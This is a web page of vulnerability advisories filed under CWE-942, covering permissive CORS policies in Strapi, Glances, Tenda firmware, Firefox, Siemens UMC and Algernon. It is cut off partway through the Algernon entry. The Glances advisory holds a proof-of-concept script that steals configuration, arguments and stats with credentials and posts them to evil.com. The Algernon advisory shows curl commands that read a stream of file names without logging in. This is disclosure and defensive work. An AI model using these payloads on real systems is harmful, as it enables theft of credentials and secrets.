Common Weakness Enumeration

CWE-942

Allowed

Permissive Cross-domain Security Policy with Untrusted Domains

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.

184 vulnerabilities reference this CWE, most recent first.

GHSA-9329-MXXW-QWF8

Vulnerability from github – Published: 2025-10-16 19:49 – Updated: 2026-01-29 03:59
VLAI
Summary
Strapi core vulnerable to sensitive data exposure via CORS misconfiguration
Details

Summary

A CORS misconfiguration vulnerability exists in default installations of Strapi where attacker-controlled origins are improperly reflected in API responses.

Technical Details

By default, Strapi reflects the value of the Origin header back in the Access-Control-Allow-Origin response header without proper validation or whitelisting.

Example: Origin: http://localhost:8888 Access-Control-Allow-Origin: http://localhost:8888 Access-Control-Allow-Credentials: true

This allows an attacker-controlled site (on a different port, like 8888) to send credentialed requests to the Strapi backend on 1337.

Suggested Fix

  1. Explicitly whitelist trusted origins
  2. Avoid reflecting dynamic origins
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@strapi/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53092"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-284",
      "CWE-364",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-16T19:49:01Z",
    "nvd_published_at": "2025-10-16T17:15:33Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA CORS misconfiguration vulnerability exists in default installations of Strapi where attacker-controlled origins are improperly reflected in API responses.\n\n### Technical Details\n\nBy default, Strapi reflects the value of the Origin header back in the Access-Control-Allow-Origin response header without proper validation or whitelisting.\n\nExample:\n`Origin: http://localhost:8888`\n`Access-Control-Allow-Origin: http://localhost:8888`\n`Access-Control-Allow-Credentials: true`\n\nThis allows an attacker-controlled site (on a different port, like 8888) to send credentialed requests to the Strapi backend on 1337.\n\n### Suggested Fix\n\n1. Explicitly whitelist trusted origins\n2. Avoid reflecting dynamic origins",
  "id": "GHSA-9329-mxxw-qwf8",
  "modified": "2026-01-29T03:59:42Z",
  "published": "2025-10-16T19:49:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/security/advisories/GHSA-9329-mxxw-qwf8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53092"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/commit/6e535cb756"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strapi/strapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/releases/tag/v5.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Strapi core vulnerable to sensitive data exposure via CORS misconfiguration"
}

GHSA-9423-9282-JQ44

Vulnerability from github – Published: 2026-01-26 18:31 – Updated: 2026-02-02 21:30
VLAI
Details

Shenzhen Tenda W30E V2 firmware versions up to and including V16.01.0.19(5037) implement an insecure Cross-Origin Resource Sharing (CORS) policy on authenticated administrative endpoints. The device sets Access-Control-Allow-Origin: * in combination with Access-Control-Allow-Credentials: true, allowing attacker-controlled origins to issue credentialed cross-origin requests.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24435"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-26T18:16:41Z",
    "severity": "HIGH"
  },
  "details": "Shenzhen Tenda W30E V2 firmware versions up to and including V16.01.0.19(5037) implement an insecure Cross-Origin Resource Sharing (CORS) policy on authenticated administrative endpoints. The device sets Access-Control-Allow-Origin: * in combination with Access-Control-Allow-Credentials: true, allowing attacker-controlled origins to issue credentialed cross-origin requests.",
  "id": "GHSA-9423-9282-jq44",
  "modified": "2026-02-02T21:30:21Z",
  "published": "2026-01-26T18:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24435"
    },
    {
      "type": "WEB",
      "url": "https://www.tendacn.com/product/W30E"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/tenda-w30e-v2-permissive-cors-allows-cross-origin-data-access"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9JFM-9RC6-2HFQ

Vulnerability from github – Published: 2026-03-16 16:32 – Updated: 2026-03-18 21:48
VLAI
Summary
Glances's Default CORS Configuration Allows Cross-Origin Credential Theft
Details

Summary

The Glances REST API web server ships with a default CORS configuration that sets allow_origins=["*"] combined with allow_credentials=True. When both of these options are enabled together, Starlette's CORSMiddleware reflects the requesting Origin header value in the Access-Control-Allow-Origin response header instead of returning the literal * wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.

Details

The CORS configuration is set up in glances/outputs/glances_restful_api.py lines 290-299:

# glances/outputs/glances_restful_api.py:290-299
# FastAPI Enable CORS
# https://fastapi.tiangolo.com/tutorial/cors/
self._app.add_middleware(
    CORSMiddleware,
    # Related to https://github.com/nicolargo/glances/issues/2812
    allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)

The defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are: - cors_origins = ["*"] (all origins) - cors_credentials = True (allow credentials)

Per the CORS specification, browsers should not send credentials when Access-Control-Allow-Origin: *. However, Starlette's CORSMiddleware implements a workaround: when allow_origins=["*"] and allow_credentials=True, the middleware reflects the requesting origin in the response header instead of using *. This means:

  1. Attacker hosts https://evil.com/steal.html
  2. Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page
  3. JavaScript on evil.com makes fetch("http://glances-server:61208/api/4/config", {credentials: "include"})
  4. The browser sends the stored Basic Auth credentials
  5. Starlette responds with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true
  6. The browser allows JavaScript to read the response
  7. Attacker exfiltrates the configuration including sensitive data

When Glances is running without --password (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.

PoC

Step 1: Attacker hosts a malicious page.

<!-- steal-glances.html hosted on attacker's server -->
<script>
async function steal() {
  const target = "http://glances-server:61208";

  // Steal system stats (processes, CPU, memory, network, disk)
  const all = await fetch(target + "/api/4/all", {credentials: "include"});
  const allData = await all.json();

  // Steal configuration (may contain database passwords, API keys)
  const config = await fetch(target + "/api/4/config", {credentials: "include"});
  const configData = await config.json();

  // Steal command line args (contains password hash, SNMP creds)
  const args = await fetch(target + "/api/4/args", {credentials: "include"});
  const argsData = await args.json();

  // Exfiltrate to attacker
  fetch("https://evil.com/collect", {
    method: "POST",
    body: JSON.stringify({all: allData, config: configData, args: argsData})
  });
}
steal();
</script>

Step 2: Verify CORS headers (without auth, default Glances).

# Start Glances web server (default, no password)
glances -w

# From a different origin, verify the CORS headers
curl -s -D- -o /dev/null \
  -H "Origin: https://evil.com" \
  http://localhost:61208/api/4/all

# Expected response headers include:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

Step 3: Verify data theft (without auth).

curl -s http://localhost:61208/api/4/all | python -m json.tool | head -20
curl -s http://localhost:61208/api/4/config | python -m json.tool
curl -s http://localhost:61208/api/4/args | python -m json.tool

Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.

# Start Glances with password
glances -w --password

# Preflight request with credentials
curl -s -D- -o /dev/null \
  -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization" \
  http://localhost:61208/api/4/all

# Expected: Access-Control-Allow-Origin: https://evil.com
# Expected: Access-Control-Allow-Credentials: true

Impact

  • Without --password (default): Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.

  • With --password: If the user has previously authenticated via the browser's Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via /api/4/args).

  • Network reconnaissance: An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.

  • Chained with POST endpoints: The CORS policy also allows POST methods, enabling an attacker to clear event logs (/api/4/events/clear/all) or modify process monitoring (/api/4/processes/extended/{pid}).

Recommended Fix

Change the default CORS credentials setting to False, and when credentials are enabled, require explicit origin configuration instead of wildcard:

# glances/outputs/glances_restful_api.py

# Option 1: Change default to not allow credentials with wildcard origins
cors_origins = config.get_list_value('outputs', 'cors_origins', default=["*"])
cors_credentials = config.get_bool_value('outputs', 'cors_credentials', default=False)  # Changed from True

# Option 2: Reject the insecure combination at startup
if cors_origins == ["*"] and cors_credentials:
    logger.warning(
        "CORS: allow_origins='*' with allow_credentials=True is insecure. "
        "Setting allow_credentials to False. Configure specific origins to enable credentials."
    )
    cors_credentials = False

self._app.add_middleware(
    CORSMiddleware,
    allow_origins=cors_origins,
    allow_credentials=cors_credentials,
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["GET"]),  # Also restrict methods
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:32:22Z",
    "nvd_published_at": "2026-03-18T17:16:06Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Glances REST API web server ships with a default CORS configuration that sets `allow_origins=[\"*\"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette\u0027s `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.\n\n## Details\n\nThe CORS configuration is set up in `glances/outputs/glances_restful_api.py` lines 290-299:\n\n```python\n# glances/outputs/glances_restful_api.py:290-299\n# FastAPI Enable CORS\n# https://fastapi.tiangolo.com/tutorial/cors/\nself._app.add_middleware(\n    CORSMiddleware,\n    # Related to https://github.com/nicolargo/glances/issues/2812\n    allow_origins=config.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\"*\"]),\n    allow_credentials=config.get_bool_value(\u0027outputs\u0027, \u0027cors_credentials\u0027, default=True),\n    allow_methods=config.get_list_value(\u0027outputs\u0027, \u0027cors_methods\u0027, default=[\"*\"]),\n    allow_headers=config.get_list_value(\u0027outputs\u0027, \u0027cors_headers\u0027, default=[\"*\"]),\n)\n```\n\nThe defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are:\n- `cors_origins = [\"*\"]` (all origins)\n- `cors_credentials = True` (allow credentials)\n\nPer the CORS specification, browsers should not send credentials when `Access-Control-Allow-Origin: *`. However, Starlette\u0027s `CORSMiddleware` implements a workaround: when `allow_origins=[\"*\"]` and `allow_credentials=True`, the middleware reflects the requesting origin in the response header instead of using `*`. This means:\n\n1. Attacker hosts `https://evil.com/steal.html`\n2. Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page\n3. JavaScript on `evil.com` makes `fetch(\"http://glances-server:61208/api/4/config\", {credentials: \"include\"})`\n4. The browser sends the stored Basic Auth credentials\n5. Starlette responds with `Access-Control-Allow-Origin: https://evil.com` and `Access-Control-Allow-Credentials: true`\n6. The browser allows JavaScript to read the response\n7. Attacker exfiltrates the configuration including sensitive data\n\nWhen Glances is running **without** `--password` (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.\n\n## PoC\n\n**Step 1: Attacker hosts a malicious page.**\n\n```html\n\u003c!-- steal-glances.html hosted on attacker\u0027s server --\u003e\n\u003cscript\u003e\nasync function steal() {\n  const target = \"http://glances-server:61208\";\n  \n  // Steal system stats (processes, CPU, memory, network, disk)\n  const all = await fetch(target + \"/api/4/all\", {credentials: \"include\"});\n  const allData = await all.json();\n  \n  // Steal configuration (may contain database passwords, API keys)\n  const config = await fetch(target + \"/api/4/config\", {credentials: \"include\"});\n  const configData = await config.json();\n  \n  // Steal command line args (contains password hash, SNMP creds)\n  const args = await fetch(target + \"/api/4/args\", {credentials: \"include\"});\n  const argsData = await args.json();\n  \n  // Exfiltrate to attacker\n  fetch(\"https://evil.com/collect\", {\n    method: \"POST\",\n    body: JSON.stringify({all: allData, config: configData, args: argsData})\n  });\n}\nsteal();\n\u003c/script\u003e\n```\n\n**Step 2: Verify CORS headers (without auth, default Glances).**\n\n```bash\n# Start Glances web server (default, no password)\nglances -w\n\n# From a different origin, verify the CORS headers\ncurl -s -D- -o /dev/null \\\n  -H \"Origin: https://evil.com\" \\\n  http://localhost:61208/api/4/all\n\n# Expected response headers include:\n# Access-Control-Allow-Origin: https://evil.com\n# Access-Control-Allow-Credentials: true\n```\n\n**Step 3: Verify data theft (without auth).**\n\n```bash\ncurl -s http://localhost:61208/api/4/all | python -m json.tool | head -20\ncurl -s http://localhost:61208/api/4/config | python -m json.tool\ncurl -s http://localhost:61208/api/4/args | python -m json.tool\n```\n\n**Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.**\n\n```bash\n# Start Glances with password\nglances -w --password\n\n# Preflight request with credentials\ncurl -s -D- -o /dev/null \\\n  -X OPTIONS \\\n  -H \"Origin: https://evil.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  -H \"Access-Control-Request-Headers: Authorization\" \\\n  http://localhost:61208/api/4/all\n\n# Expected: Access-Control-Allow-Origin: https://evil.com\n# Expected: Access-Control-Allow-Credentials: true\n```\n\n## Impact\n\n- **Without `--password` (default):** Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.\n\n- **With `--password`:** If the user has previously authenticated via the browser\u0027s Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via `/api/4/args`).\n\n- **Network reconnaissance:** An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.\n\n- **Chained with POST endpoints:** The CORS policy also allows `POST` methods, enabling an attacker to clear event logs (`/api/4/events/clear/all`) or modify process monitoring (`/api/4/processes/extended/{pid}`).\n\n## Recommended Fix\n\nChange the default CORS credentials setting to `False`, and when credentials are enabled, require explicit origin configuration instead of wildcard:\n\n```python\n# glances/outputs/glances_restful_api.py\n\n# Option 1: Change default to not allow credentials with wildcard origins\ncors_origins = config.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\"*\"])\ncors_credentials = config.get_bool_value(\u0027outputs\u0027, \u0027cors_credentials\u0027, default=False)  # Changed from True\n\n# Option 2: Reject the insecure combination at startup\nif cors_origins == [\"*\"] and cors_credentials:\n    logger.warning(\n        \"CORS: allow_origins=\u0027*\u0027 with allow_credentials=True is insecure. \"\n        \"Setting allow_credentials to False. Configure specific origins to enable credentials.\"\n    )\n    cors_credentials = False\n\nself._app.add_middleware(\n    CORSMiddleware,\n    allow_origins=cors_origins,\n    allow_credentials=cors_credentials,\n    allow_methods=config.get_list_value(\u0027outputs\u0027, \u0027cors_methods\u0027, default=[\"GET\"]),  # Also restrict methods\n    allow_headers=config.get_list_value(\u0027outputs\u0027, \u0027cors_headers\u0027, default=[\"*\"]),\n)\n```",
  "id": "GHSA-9jfm-9rc6-2hfq",
  "modified": "2026-03-18T21:48:24Z",
  "published": "2026-03-16T16:32:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-9jfm-9rc6-2hfq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32610"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/4465169b71d93991f1e49740fe02428291099832"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances\u0027s Default CORS Configuration Allows Cross-Origin Credential Theft"
}

GHSA-9QV5-M6VR-VH73

Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2025-11-03 21:34
VLAI
Details

This vulnerability affects Firefox < 143, Firefox ESR < 140.3, Thunderbird < 143, and Thunderbird < 140.3.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-10529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-16T13:15:45Z",
    "severity": "MODERATE"
  },
  "details": "This vulnerability affects Firefox \u003c 143, Firefox ESR \u003c 140.3, Thunderbird \u003c 143, and Thunderbird \u003c 140.3.",
  "id": "GHSA-9qv5-m6vr-vh73",
  "modified": "2025-11-03T21:34:34Z",
  "published": "2025-09-16T15:32:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10529"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1970490"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00020.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00026.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-73"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-75"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-77"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-78"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9QVW-GVQ6-G569

Vulnerability from github – Published: 2023-12-12 12:30 – Updated: 2024-10-08 09:30
VLAI
Details

A vulnerability has been identified in Opcenter Quality (All versions), SIMATIC PCS neo (All versions < V4.1), SINUMERIK Integrate RunMyHMI /Automotive (All versions), Totally Integrated Automation Portal (TIA Portal) V14 (All versions), Totally Integrated Automation Portal (TIA Portal) V15.1 (All versions), Totally Integrated Automation Portal (TIA Portal) V16 (All versions), Totally Integrated Automation Portal (TIA Portal) V17 (All versions), Totally Integrated Automation Portal (TIA Portal) V18 (All versions < V18 Update 3). When accessing the UMC Web-UI from affected products, UMC uses an overly permissive CORS policy. This could allow an attacker to trick a legitimate user to trigger unwanted behavior.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-46281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-12T12:15:13Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in Opcenter Quality (All versions), SIMATIC PCS neo (All versions \u003c V4.1), SINUMERIK Integrate RunMyHMI\u00a0/Automotive (All versions), Totally Integrated Automation Portal (TIA Portal) V14 (All versions), Totally Integrated Automation Portal (TIA Portal) V15.1 (All versions), Totally Integrated Automation Portal (TIA Portal) V16 (All versions), Totally Integrated Automation Portal (TIA Portal) V17 (All versions), Totally Integrated Automation Portal (TIA Portal) V18 (All versions \u003c V18 Update 3). When accessing the UMC Web-UI from affected products, UMC uses an overly permissive CORS policy. This could allow an attacker to trick a legitimate user to trigger unwanted behavior.",
  "id": "GHSA-9qvw-gvq6-g569",
  "modified": "2024-10-08T09:30:51Z",
  "published": "2023-12-12T12:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46281"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-999588.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-999588.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9V4J-7G44-QCQW

Vulnerability from github – Published: 2026-05-19 14:36 – Updated: 2026-05-19 14:36
VLAI
Summary
Algernon: Auto-refresh SSE event server binds to all interfaces with Access-Control-Allow-Origin: * and no authentication
Details

Summary

When auto-refresh is enabled, Algernon spins up an SSE handler that streams a data: line for every filesystem event under the watched directory. The handler performs no authentication of any kind — no shared token, no cookie check against the permissions2 userstate, no IP allow-list, no path-prefix permission. Any client that can complete a TCP connection to the listener address receives the stream.

This advisory covers the authentication gap in isolation. The cross-origin browser-reach (advisory #2b) and the network-reach (advisory #2c) amplify the impact, but each is independently fixable; this finding addresses the case where a same-origin or LAN-local client connects directly to the SSE port and reads the stream without proving anything about its identity.

Details

Root cause — the SSE handler does not consult permissions2 or any other auth

// vendor/github.com/xyproto/recwatch/eventserver.go:100-144  (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
    return func(w http.ResponseWriter, _ *http.Request) {
        w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
        w.Header().Set("Cache-Control", "no-cache")
        w.Header().Set("Connection", "keep-alive")
        w.Header().Set("Access-Control-Allow-Origin", allowed)
        // ... loop emits one SSE record per filename touched ...
    }
}

Note the handler signature: func(w http.ResponseWriter, _ *http.Request). The request is discarded — no Cookie, Authorization, query-string, or remote-IP check is performed before the stream begins.

In 1.17.6 the listener was placed on its own http.ServeMux (recwatch/eventserver.go:200-215), wholly outside the perm.Rejected middleware chain that gates Algernon's main HTTP listener. Even an operator who had configured admin/user path prefixes via perm.AddAdminPath, set a cookieSecret, and forced authentication on every URL of the main server had no way to gate this listener — it was unreachable from the mux argument the perm middleware uses.

Why authentication matters for this listener

The stream contents are not public data. They reveal:

  • Which files the developer is actively editing, with sub-second timing precision.
  • The existence of files inside the watched root (including files the operator may have meant to keep private — .env.local, secrets.lua, in-progress draft files).
  • By inference, the directory layout of the project.

A client that can connect to the listener obtains a low-rate continuous information disclosure for the lifetime of the connection. The handler is an infinite for {} loop — there is no natural session boundary or expiry.

Source-level evidence

$ rg -n 'GenFileChangeEvents|EventServer\(' vendor/github.com/xyproto/recwatch/
vendor/github.com/xyproto/recwatch/eventserver.go:101:func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
vendor/github.com/xyproto/recwatch/eventserver.go:177:func EventServer(path, allowed, eventAddr, eventPath string, refreshDuration time.Duration) {

$ rg -n 'Cookie|Authorization|Token|state\.User' vendor/github.com/xyproto/recwatch/eventserver.go
# zero matches — no authentication primitive is referenced anywhere in the file

PoC (against 1.17.6)

# 1. Operator runs algernon with auto-refresh on a project directory:
algernon -a /path/to/project   # spins up :5553 on Linux/macOS, localhost:5553 on Windows

# 2. Any client that can reach the listener connects without credentials:
curl -sN http://<server>:5553/sse
# => id: 0
#    data: /path/to/project/secret-notes.md
#
#    id: 1
#    data: /path/to/project/.env.local

No Cookie, no Authorization, no X-Token, no preflight, no challenge. The connection succeeds and the stream is delivered for as long as the client keeps the socket open.

Impact

  • Confidentiality: medium. Continuous information disclosure of filenames and edit timing to anyone who can connect.
  • Integrity: none.
  • Availability: low. Each connection consumes a goroutine indefinitely; many simultaneous connections can exhaust descriptors.

Suggestions to fix

Primary fix — require a shared secret on the SSE endpoint. The auto-refresh feature already injects a script into served HTML (engine/sse.go:118-165); that script knows the SSE URL. Add a per-startup token, embed it in the injected JS, and require it on the SSE request:

// engine/sse.go -- in InsertAutoRefresh
tmplData.SessionToken = ac.sseToken    // generated once at startup, e.g. crypto/rand 32 bytes

// JS:
//   var source = new EventSource('...?token={{.SessionToken}}');

// recwatch handler:
//   if subtle.ConstantTimeCompare([]byte(r.URL.Query().Get("token")),
//                                 []byte(serverToken)) != 1 {
//       http.Error(w, "forbidden", http.StatusForbidden); return
//   }

Cookie-bearing requests work too if recwatch.EventServer is moved behind perm.Rejected (see "Defence in depth"). The token approach is the smaller change.

Defence in depth — mount the SSE handler on the main mux. Moving recwatch.EventServerHandler onto the main http.ServeMux automatically places the SSE handler behind whatever middleware the operator has configured — perm.Rejected, tollbooth, custom auth wrappers. This closes the same-origin half of the gap without a per-token implementation. Any dedicated-port path bypasses perm.Rejected because it uses its own http.ServeMux, and that path needs the token fix from "Primary fix" above.

Live verification

$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18781 --quiet poc2/site
$ ( curl -sN --max-time 4 http://127.0.0.1:5553/sse > stream.txt &
    sleep 1
    echo "edit-1" >> poc2/site/secret-notes.md
    echo "edit-2" >> poc2/site/.env.local
    wait )
$ cat stream.txt
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\secret-notes.md

id: 1
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\.env.local

No Cookie, no Authorization header. Stream delivered.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xyproto/algernon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-200",
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T14:36:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen auto-refresh is enabled, Algernon spins up an SSE handler that streams a `data:` line for every filesystem event under the watched directory. The handler performs **no authentication** of any kind \u2014 no shared token, no cookie check against the `permissions2` userstate, no IP allow-list, no path-prefix permission. Any client that can complete a TCP connection to the listener address receives the stream.\n\nThis advisory covers the authentication gap in isolation. The cross-origin browser-reach (advisory #2b) and the network-reach (advisory #2c) amplify the impact, but each is independently fixable; this finding addresses the case where a same-origin or LAN-local client connects directly to the SSE port and reads the stream without proving anything about its identity.\n\n### Details\n\n#### Root cause \u2014 the SSE handler does not consult `permissions2` or any other auth\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-144  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        // ... loop 